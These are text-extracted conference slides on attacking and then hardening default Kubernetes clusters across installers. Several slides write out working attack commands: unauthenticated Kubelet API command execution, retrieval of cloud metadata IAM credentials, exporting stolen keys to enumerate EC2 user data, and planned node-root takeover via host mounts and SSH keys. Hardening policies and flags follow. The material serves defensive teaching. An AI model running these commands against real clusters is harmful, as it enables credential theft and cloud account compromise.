Hacking & Hardening Kubernetes By Example

Slides: goo.gl/TNRxtd
Demos: goo.gl/fwwbgB

@bradgeesaman
github.com/bgeesaman
About Me

Previously
- Network Security Engineer
- Penetration-Tester / Security Consultant

Recently
- Cloud Infrastructure Architect and Administrator
- Ethical Hacking Simulation Designer

Past Year
- Running CTF/Ethical Hacking competition workloads inside Kubernetes
- Researching Kubernetes Security and Policy

@bradgeesaman
Over the past five months, I’ve installed a few 🔄 clusters
<table>
<thead>
<tr>
<th>Service</th>
<th>Version Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>AWS</td>
<td></td>
</tr>
<tr>
<td>Heptio Quickstart</td>
<td>Latest 8/11/17 (K8s 1.7.2)</td>
</tr>
<tr>
<td>Kops</td>
<td>Kops v1.7.0 (K8s 1.7.4)</td>
</tr>
<tr>
<td>Kube-AWS</td>
<td>Kube-AWS v0.9.7 (K8s 1.6.3)</td>
</tr>
<tr>
<td>CoreOS Tectonic</td>
<td>Tectonic v1.7.1-1 (K8s 1.7.1)</td>
</tr>
<tr>
<td>Kismatic</td>
<td>Kismatic v1.5.3 (K8s 1.7.4)</td>
</tr>
<tr>
<td>Kubicorn</td>
<td>Master 9/13/17 (K8s 1.7.5)</td>
</tr>
<tr>
<td>Stack Point Cloud</td>
<td>UI 9/5/17 (K8s 1.7.5)</td>
</tr>
<tr>
<td>Jetstack Tarmak</td>
<td>0.1.2 10/30/17 (K8s 1.7.7)</td>
</tr>
<tr>
<td>Azure</td>
<td></td>
</tr>
<tr>
<td>ACS</td>
<td>Latest 9/1/17 (K8s 1.6.6)</td>
</tr>
<tr>
<td>AKS</td>
<td>Latest 10/24/17 (K8s 1.7.7)</td>
</tr>
<tr>
<td>Google</td>
<td></td>
</tr>
<tr>
<td>GKE</td>
<td>Latest 9/11/17 (K8s 1.7.5), 10/24/17 (K8s 1.7.8)</td>
</tr>
<tr>
<td>Kube the Hard Way</td>
<td>Master 9/3/17 (K8s 1.7.4)</td>
</tr>
<tr>
<td>Stack Point Cloud</td>
<td>UI 9/11/17 (K8s 1.7.5)</td>
</tr>
<tr>
<td>Typhoon</td>
<td>Master 9/13/17 (K8s 1.7.5)</td>
</tr>
</tbody>
</table>
A malicious user with a shell in a container

By default, can very possibly

1. Exfiltrate source code, keys, tokens, and credentials
2. Elevate privileges inside Kubernetes to access all workloads
3. Gain root access to the underlying cluster nodes
4. Compromise other systems and data in the cloud account outside the cluster
Goals of this talk

1. **Raise** awareness of high-risk attacks possible in many installs
2. **Demonstrate** the attacks “live”
3. **Provide** hardening methods
4. **Share** additional hardening tips
I’m beginning to believe ...
High System Complexity means for users: “Getting it to work” is hard enough so Defaults are used first, as-is
The “First Law” of Defaults Inertia

Defaults *in use early* tend to stay *in use*.

Systems *hardened late* tend to *break*.
Having default values be **SECURE early on** has positive **downstream** effects.

When they arrive *after* widespread adoption...
The Security Capability Gap

Kubernetes Releases

1.4

1.5 - 1.7

Most mortals Production Clusters

1.5 - 1.7

1.6

1.7 - 1.8

Most Installers and CaaS Offerings

1.7 - 1.8

1.8+

Where all the cool new security features are being added

1.8+

The Security Capability Gap

@bradgesaman
Your cluster needs additional SECURITY HARDENING to be Production Ready.
Low Hanging Fruit

- Container Escapes
- Kernel Level Exploits
- Seccomp
- SELinux
- Pod Security Policies
- Image Safety
- RBAC
- Network Isolation
- Logging
- Least Privilege
- OS Hardening
What are some of the challenges of hardening?

1. CIS Operating System specific benchmarks are not aware of the actual workload (e.g. Kubernetes)
2. CIS Kubernetes benchmarks cover core settings, but not installer/service specific implementations
3. Properly hardening your Kubernetes cluster is highly dependent on your choice of add-ons, plugins, and container workloads, and the defaults are very often not enough!
Attack-Driven Hardening
The 4 Steps of Attack-Driven Hardening

1. What can I see/do/access next?
2. Find a reasonable* path to access
3. *Goto step 1* until “game over”

* aka: “Quick and Dirty” Attack Modeling

* Definition is flexible
As an **External Attacker**

What can I see/do/access next?

1. Access SSH on nodes?
2. Access the API server?
3. Obtain a shell on a container in the cluster?
   a. Exploit an application running in an exposed container
   b. Trick an admin into running a compromised container
   c. Compromise a project’s developer and modify their project images/binary releases
Which is easier?

1. Exploit an exposed app/container?
2. Trick Teach an admin?
3. Compromise a developer?
“Teach” something

1. **Write a “helpful” blog post** about how to do something complex or misunderstood in K8s (e.g. custom ingress controllers, service meshes, external authentication)

2. **Link to a Github repository** with your YAML manifests and Dockerfiles to establish credibility

3. Simply instruct the user to **run your containers**

   ```
   $ kubectl create -f <repo_url>/gotcha.yml
   ```
kubectl create -f <url>
is the new
curl <url> | bash
Logical diagram of a sacrificial cluster
Externally accessible “Vulnapp” pod, default namespace

If an attacker gets a shell in that container can they ...
Install custom tools (and prove Internet access)?

# Install tools
$ apt-get install curl nc nmap

# Install kubectl
$ curl -sLO https://storage.googleapis.com/kubernetes-release/release/v1.8.4/bin/linux/amd64/kubectl
$ chmod +x kubectl
$ mv kubectl /bin
Access the **Kubernetes API Without Credentials?**

```bash
$ curl -s http://10.0.0.1:8080
```
Read Metrics from **cAdvisor**, **Heapster**, **Kubelet**?

```bash
# cAdvisor
$ curl -s 10.0.0.3:4194/docker/

$ curl -s heapster.kube-system/metrics

# Kubelet
$ curl -s http://10.0.0.3:10255/metrics
```
Attack #1 - Enumerate Metrics Endpoints

Attack steps:
1. Find Node IPs
2. Use curl to list all pods on nodes

Demo
Use the **default** mounted **ServiceAccount** token?

```bash
$ ls /var/run/secrets/kubernetes.io/serviceaccount/ca.pem namespace token

$ kubectl get pods --all-namespaces
```

<table>
<thead>
<tr>
<th>NAMESPACE</th>
<th>NAME</th>
<th>READY</th>
</tr>
</thead>
<tbody>
<tr>
<td>kube-system</td>
<td>calico-etcd-cqh7</td>
<td>1/1</td>
</tr>
<tr>
<td></td>
<td>calico-node-dcg5b</td>
<td>2/2</td>
</tr>
<tr>
<td></td>
<td>calico-node-x3b1s</td>
<td>2/2</td>
</tr>
<tr>
<td></td>
<td>kube-apiserver-ip-10-0-0-219</td>
<td>1/1</td>
</tr>
</tbody>
</table>
Attack #2 - Default ServiceAccount Token

Attack steps:

1. Verify token exists
2. Install kubectl
3. Use kubectl with high privilege

Demo
Access the Kubernetes Dashboard Directly?

$ curl -s http://kubernetes-dashboard.kube-system

<!doctype html> <html ng-app="kubernetesDashboard"> <head> ...
Attack #3 - Direct Dashboard Access

Attack steps:

1. Curl service DNS
2. Remote forward port via SSH

Demo
Access **Other Services** Inside the Cluster Directly?

```bash
$ redis-cli -h
redis-master.default

> keys *
1) "Dogs"
2) "Cats"

> set "Cats" 1000
OK
```
Attack #4 - Tamper with other Workloads

Attack steps:
1. Find Redis Pod
2. Connect and tamper

Demo

@bradgeesaman
Access the **Kubelet API (kubelet-exploit)** Directly?

```bash
$ curl -sk https://10.0.0.3:10250/runningpods/
{
  "kind": "PodList",
  "apiVersion": "v1",
  "metadata": {},
  "items": [
    {
      "metadata": {
        "name": "vulnapp-4217019353-1z5x8",
        "namespace": "default"
      },
      "spec": {}
    }
  ]
}
```

@bradgeesaman
Attack #5 - Command Exec Via the Kubelet API

Attack steps:

1. Find Node IPs
2. Use curl to perform “kubectl exec”

Demo
Access the ETCD Service Directly?

$ curl -s http://10.2.0.219:6666/v2/keys

{"action":"get","node":{
"dir":true,"nodes":[{
"key":"/calico","dir":true,"modifiedIndex":4,"createdIndex":4}]}}
Attack #6 - Obtain Root on Underlying Node

Attack steps:

1. Obtain Kubelet or higher SA Token
2. Schedule a Pod (mount the host filesystem)
3. Add SSH Key
4. SSH Into Node

Demo
Access the **Cloud Provider Metadata API** Directly?

```bash
#!/bin/bash -xe
...
aws s3 --region $REGION cp s3://...
...
kubeadm join --token mykubeadmtoken 10.0.0.1:443
```
Attack #7 - EC2 Metadata Worker IAM Credentials

Attack steps:
1. Curl the Metadata API
2. Export Credentials
3. Use the EC2 APIs
EC2 Metadata API: Obtaining IAM Credentials


```json
{
  "Code" : "Success",
  "LastUpdated" : "2017-12-25T00:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "MyAccessKeyID",
  "SecretAccessKey" : "MySecretAccessKey",
  "Token" : "MySessionToken",
  "Expiration" : "2017-12-25T04:00:00Z"
}
```
EC2 Metadata API: Using IAM Credentials

Step 2

# Place credentials in ENV vars
$ export AWS_REGION=us-east-1
$ export AWS_ACCESS_KEY_ID=MyAccessKeyId
$ export AWS_SECRET_ACCESS_KEY=MySecretAccessKey
$ export AWS_SESSION_TOKEN=MySessionToken

Step 3

# Enumerate instances, get all user-data scripts
$ aws ec2 describe-instances
$ aws ec2 describe-instance-attribute --instance-id i-xxxxxxx --attribute userData
## AWS Metadata API: Common IAM Permissions

<table>
<thead>
<tr>
<th>Master</th>
<th>Worker</th>
</tr>
</thead>
<tbody>
<tr>
<td>- ec2:*</td>
<td>- ec2:Describe*, ec2:AttachVolume, ec2:DetachVolume</td>
</tr>
<tr>
<td>- elasticloadbalancing:*</td>
<td>- elasticloadbalancing:*</td>
</tr>
<tr>
<td>- ecr:GetAuthorizationToken,</td>
<td>- ecr:GetAuthorizationToken,</td>
</tr>
<tr>
<td>- ecr:BatchCheckLayerAvailability,</td>
<td>- ecr:BatchCheckLayerAvailability,</td>
</tr>
<tr>
<td>- ecr:GetDownloadUrlForLayer,</td>
<td>- ecr:GetDownloadUrlForLayer,</td>
</tr>
<tr>
<td>- ecr:GetRepositoryPolicy,</td>
<td>- ecr:GetRepositoryPolicy,</td>
</tr>
<tr>
<td>- ecr:DescribeRepositories,</td>
<td>- ecr:DescribeRepositories,</td>
</tr>
<tr>
<td>- ecr:ListImages,</td>
<td>- ecr:ListImages,</td>
</tr>
<tr>
<td>- ecr:BatchGetImage</td>
<td>- ecr:BatchGetImage</td>
</tr>
<tr>
<td>- s3:GetObject, s3:HeadObject, s3:ListBucket -&gt; arn:aws:s3:::*</td>
<td>- s3:GetObject -&gt; arn:aws:s3:::*</td>
</tr>
<tr>
<td>- autoscaling:DescribeAutoScalingGroups</td>
<td>- autoscaling:DescribeAutoScalingGroups</td>
</tr>
<tr>
<td>- autoscaling:DescribeAutoScalingInstances</td>
<td>- autoscaling:DescribeAutoScalingInstances</td>
</tr>
</tbody>
</table>
Attack #8 - EC2 Metadata Master IAM Credentials

Caveat: Requires that the API request originates from the Master

Possible Attack Methods:
1. Compromise Existing Pod running on Master
2. On/against the Master Node:
   a. kubectl exec into a pod (create one if needed)
   b. Kubelet API ‘run cmd’
Attack Method 2a: “kubectl exec” into a Pod

```
$ kubectl exec -it etcd-000 curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/kubernetes-master-iam-policy
{
    "Code" : "Success",
    "LastUpdated" : "2017-12-25T00:00:00Z",
    "Type" : "AWS-HMAC",
    "AccessKeyId" : "MasterAccessKeyId",
    "SecretAccessKey" : "MasterSecretAccessKey",
    "Token" : "MasterSessionToken",
    "Expiration" : "2017-12-25T04:00:00Z"
}
```
Attack Method 2b: Kubelet API ‘run cmd’

```
$ curl -sk https://10.0.0.1:10250/run/kube-system/etcd-000/etcd-server -d "cmd=\
curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/kubernetes-master-iam-policy"
{
  "Code" : "Success",
  "LastUpdated" : "2017-12-25T00:00:00Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "MasterAccessKeyId",
  "SecretAccessKey" : "MasterSecretAccessKey",
  "Token" : "MasterSessionToken",
  "Expiration" : "2017-12-25T04:00:00Z"
}
```
AWS Metadata API: Master IAM Permissions

**Impact**

- `ec2:*`
- `elasticloadbalancing:*`
- `ecr:GetAuthorizationToken`,
  `ecr:BatchCheckLayerAvailability`,
  `ecr:GetDownloadUrlForLayer`,
  `ecr:GetRepositoryPolicy`,
  `ecr:DescribeRepositories`,
  `ecr:ListImages`,
  `ecr:BatchGetImage`
- `s3:GetObject, s3:HeadObject, s3:ListBucket`
  -> `arn:aws:s3:::*`
- `autoscaling:DescribeAutoScalingGroups`
- `autoscaling:DescribeAutoScalingInstances`

**Master**

- Allows These Attacks
  - Steal drive contents of all EC2 instances
    1. Create a new instance inside a new VPC, security group, and SSH keypair
    2. Enumerate all instances in all regions
    3. Create/mount snapshots of any/all EBS volumes and view all your data
  - Inspect all ECR docker containers
    - Enumerate and download locally all ECR docker images for baked in accounts/secrets
  - Read all S3 contents
    - Siphon all S3 Bucket contents (backups, logs)
Attack #9 - GKE Metadata API Attribute "kube-env"

Attack steps:
1. Obtain `kube-env` script from Metadata API, extract kubelet credentials, become "kubelet"
2. Get pod list and enumerate privileged secrets
3. Become highest privilege SA

Demo
Attack #10 - GCE/GKE Metadata API Compute R/W

Attack steps:

1. Obtain IAM Token from Metadata API
2. Enumerate Instances Info
3. POST to Compute API to update instance ssh-key
4. SSH Into Node, sudo

Demo

https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#instance-only
## Defaults, without hardening:

<table>
<thead>
<tr>
<th></th>
<th>Heptio Quickstart</th>
<th>Kops</th>
<th>Kube-AWS</th>
<th>CoreOS Tectonic</th>
<th>Kismatic</th>
<th>Kubicorn</th>
<th>Stack Point Cloud</th>
<th>Jetstack Tarmak</th>
<th>ACS/AKS *</th>
<th>GKE</th>
<th>Kube the Hard Way</th>
<th>Stack Point Cloud</th>
<th>Typhoon</th>
</tr>
</thead>
<tbody>
<tr>
<td>AWS</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Latest 8/11/17 (K8s 1.7.2)</td>
<td>Kops v1.7.0 (K8s 1.7.4)</td>
<td>Kube-AWS v0.9.7 (K8s 1.6.3)</td>
<td>Tectonic v1.7.1-1 (K8s 1.7.1)</td>
<td>Kismatic v1.5.3 (K8s 1.7.4)</td>
<td>Master 9/13/17 (K8s 1.7.5)</td>
<td>UI 9/5/17 (K8s 1.7.5)</td>
<td>0.1.2 10/30/17 (K8s 1.7.7)</td>
<td>Latest 10/24/17 (K8s 1.7.7)</td>
<td>Latest 10/24/17 (K8s 1.7.8)</td>
<td>Master 9/3/17 (K8s 1.7.4)</td>
<td>UI 9/11/17 (K8s 1.7.5)</td>
<td>Master 9/13/17 (K8s 1.7.5)</td>
</tr>
</tbody>
</table>

* AKS is in early preview.
Don’t despair...

Harden it!
Harden Attacks #7-10 - Filter Cloud Metadata API

**AWS**
- Kube2IAM or KIAM

**GCE/GKE**
- GCE Metadata Proxy and these steps

Network Egress on Namespace
- 1.8+ - NetworkPolicy
- < 1.8 - calicoctl
Harden Attacks #5, 6 - Protect the Kubelet API

```
$ cat kubelet.service

/usr/local/bin/kubelet
    --anonymous-auth=false
    --authorization-mode=Webhook
    --allow-privileged=true
    --kubeconfig=/var/lib/kubelet/kubeconfig

...  
    --client-ca-file=/var/lib/kubernetes/ca.pem
    --tls-cert-file=/var/lib/kubelet/${HOSTNAME}.pem
    --tls-private-key-file=/var/lib/kubelet/${HOSTNAME}-key.pem

...

Causes the Kubelet R/W API to perform a `SubjectAccessReview` for all its requests
```
Harden Attack #4 - Isolate other Workloads

```
$ cat vote-front-to-back.yml

kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: vote-front-to-back
spec:
podSelector:
  matchLabels:
    app: azure-vote-back
ingress:
  - from:
    - podSelector:
      matchLabels:
        k8s-app: azure-vote-front
policyTypes:
  - Ingress

$ kubectl create -f vote-front-to-back.yml
networkpolicy "vote-front-to-back" created
```
Harden Attacks #3, 6 - Block Dashboard Access

```
$ cat block-dashboard-policy.yml

kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: block-dashboard-policy
  namespace: kube-system
spec:
  podSelector:
    matchLabels:
      k8s-app: kubernetes-dashboard
  policyTypes:
    - Ingress

$ kubectl create -f block-dashboard-policy.yml
networkpolicy "block-dashboard-policy" created
```
Harden Attacks #2, 6 - Restrict Default SA Token

1. API Server flags
   --authorization-mode=Node,RBAC
   --admission-control=NodeRestriction

2. Ensure default ServiceAccount token in pods have no permissions
   
   $ kubectl get pods
   Error from server (Forbidden): User "system:serviceaccount:default:default" cannot list pods in the namespace "default".

3. Monitor all RBAC audit failures:
   https://kubernetes.io/docs/tasks/debug-application-cluster/audit/#log-backend
Harden Attack #1 - Block Host Node/Metrics Ports

```
$ cat default-deny.yml
kind: NetworkPolicy
apiversion: networking.k8s.io/v1
metadata:
  name: default-deny
  namespace: default
spec:
  podSelector: {} 
  egress:
    - to:
      - podSelector:
        matchLabels:
          k8s-app: kube-dns
      - ports:
        - protocol: UDP
        port: 53
  policyTypes:
  - Ingress
  - Egress
```

Selects all pods in this namespace

Ingress empty (blocks all), and egress policy only allows outbound DNS requests to the kube-dns pods

This policy covers both in/out traffic

```
$ kubectl create -f default-deny.yml
networkpolicy "default-deny" created
```

Now you can add more policies to allow *only the traffic your workloads need*
## Latest versions + hardening:

<table>
<thead>
<tr>
<th></th>
<th>AWS</th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Heptio Quickstart</td>
<td>Master 11/27/17 (K8s 1.8.2)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Kops</td>
<td>Kops v1.8.0-beta.1 (K8s 1.8.2)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Kube-AWS</td>
<td>Kube-aws v0.9.9-rc3 (K8s 1.8.2)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>CoreOS Tectonic</td>
<td>Tectonic v1.7.9-2 (K8s 1.7.9)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Kismatic</td>
<td>Kismatic v1.6.3 (K8s 1.8.4)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Kubicorn</td>
<td>Master 11/28/17 (K8s 1.7.5)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Stack Point Cloud</td>
<td>UI Latest 11/28/17 (K8s 1.8.3)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Jetstack Tarmak</td>
<td>0.2.0 12/1/17 (K8s 1.7.10)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td><strong>Azure</strong></td>
<td>AKS * Latest 11/29/17 (K8s 1.8.1)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td><strong>Google</strong></td>
<td>GKE Latest 11/28/17 Beta (K8s 1.8.3)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Kube the Hard Way Master 11/28/17 (K8s 1.8.0)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Stack Point Cloud UI Latest 11/28/17 (K8s 1.8.3)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Typhoon Master 11/28/17 (K8s 1.8.3)</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

* AKS is in early preview. RBAC and NetworkPolicy is targeted for GA.
Tool #1: KubeATF

[github.com/bgeesaman/kubeatf](https://github.com/bgeesaman/kubeatf)

A tool used to automate the creation, validation, and destruction of Kubernetes clusters in a consistent way for a variety of CLI-based installers.
Tool #2: sonobuoy-plugin-bulkhead

github.com/bgeesaman/sonobuoy-plugin-bulkhead

A Heptio Sonobuoy plugin that performs security posture scans on all nodes from within your Kubernetes cluster.

Currently, CIS Benchmark scans using kube-bench by Aqua Security
Even More SECURITY HARDENING Tips for Kubernetes

@bradgeesaman
Hardening Tips

General Guidance

1. Verify that all your security settings properly enforce the policy
2. Use the latest stable K8s version possible to gain the latest security capabilities and fixes
3. Audit the OS, container runtime, and K8s configuration using CIS Benchmarking and other tools like `kube-auto-analyzer` and `kube-bench`
4. Log **everything** to a location outside the cluster

Image Security

1. Use private registries, and restrict public registry usage
2. Scan all images for security vulnerabilities continuously. E.g CoreOS Clair or Atomic Scan
3. Decide which types/severity of issues should prevent deployments
4. Maintain standard base images and ensure that all workloads use them
5. **Do NOT run containers as the root user**
K8s Components Security

1. API Server
   `authorization-mode=Node,RBAC`
2. Ensure all services are protected by TLS
3. Ensure `kubelet` protects its API via `authorization-mode=Webhook`
4. Ensure the `kube-dashboard` uses a restrictive RBAC role policy and v1.7+
5. Closely monitor all RBAC policy failures
6. Remove default `ServiceAccount` permissions

Network Security

1. Filter access to the cloud provider metadata APIs/URL, and Limit IAM permissions
2. Use a CNI network plugin that filters ingress/egress pod network traffic
   a. Properly label all pods
   b. Isolate all workloads from each other
   c. Prevent workloads from egressing to the Internet, the Pod IP space, the Node IP subnets, and/or other internal networks
   d. Restrict all traffic coming into the `kube-system` namespace except `kube-dns`
3. Consider a Service Mesh!
Workload Containment and Security

1. Namespaces per tenant
2. Default network “deny” inbound on all namespaces
3. Assign CPU/RAM limits to all containers
4. Set `automountServiceAccountToken: false` on pods where possible
5. Use a `PodSecurityPolicy` to enforce container restrictions and to protect the node
6. Implement container-aware malicious activity / behavioral detection

Misc Security

1. Collect logs from all containers, especially the RBAC access/deny logs
2. Encrypt the contents of `etcd`, and run `etcd` on dedicated nodes
3. Separate Cloud accounts/VPCs/projects/resource groups
4. Separate clusters for dev/test and production environments
5. Separate node pools for different tenants
OSS Security and Automated Tools/Resources

- **CIS Benchmark 1.2.0** (K8s 1.8.0) - CIS Security
- **Kube-bench** - Aqua Security
- **CIS OS and Runtime Hardening** - Dev-Sec
- **Ansible-Hardening** (OS)
- **Kube Auto Analyzer** - Rory McCune
- **KubeAudit** - Shopify
- **Sonobuoy** - Heptio
- **KubeATF** and **sonobuoy-plugin-bulkhead** - Me
Notable Recent Security Features in 1.8+

- `NetworkPolicy` supports egress filtering
- `PodSecurityPolicy` volume mount whitelist
- `kubeadm init` token expiration
- `kubeadm join` token crypto improvements
- `kubelet` automatic certificate rotation
As a community, we are all responsible for the safety and security of the applications that power our world.

Let’s make the foundation secure by default.
Thank you!

- My wife, Meredith
- Josh, Justin, Alex, Mike
- CNCF and the KubeCon Committee
- The Kubernetes Community
- NOVA Kubernetes Meetup - Sam, Joe
- Heptio - Jennifer, Matt, Ken, Jorge, Timothy
- Kops - Chris, Justin
- Kube-AWS - Yosuke
- Typhoon - Dalton
- StackPointCloud - Matt, Nathan, Pablo
- Kubicorn - Kris
- Google - Kelsey, Ike, security@
- CoreOS - Brandon, Ed, Geoff, Alex, Eric
- Azure - Lachie, Sean, Gabe, Jason
- Kismatic - Dimitri
- Jetstack - Matt, Christian

Questions?

Resources

- @bradgeesaman - Twitter
- goo.gl/TNRxtd - Slides
- goo.gl/fwwbgB - Attack Code
- goo.gl/ChtMJ7 - KubeATF
- goo.gl/aaCfdT - Bulkhead (Sonobuoy Plugin)
- Kubelet-exploit - Background info
- Prior talks on securing K8s clusters
  - youtube.com/watch?v=b3qJwIttqqs Rory McCune
  - youtube.com/watch?v=9yuUr5UK00 Dino Dai Zovi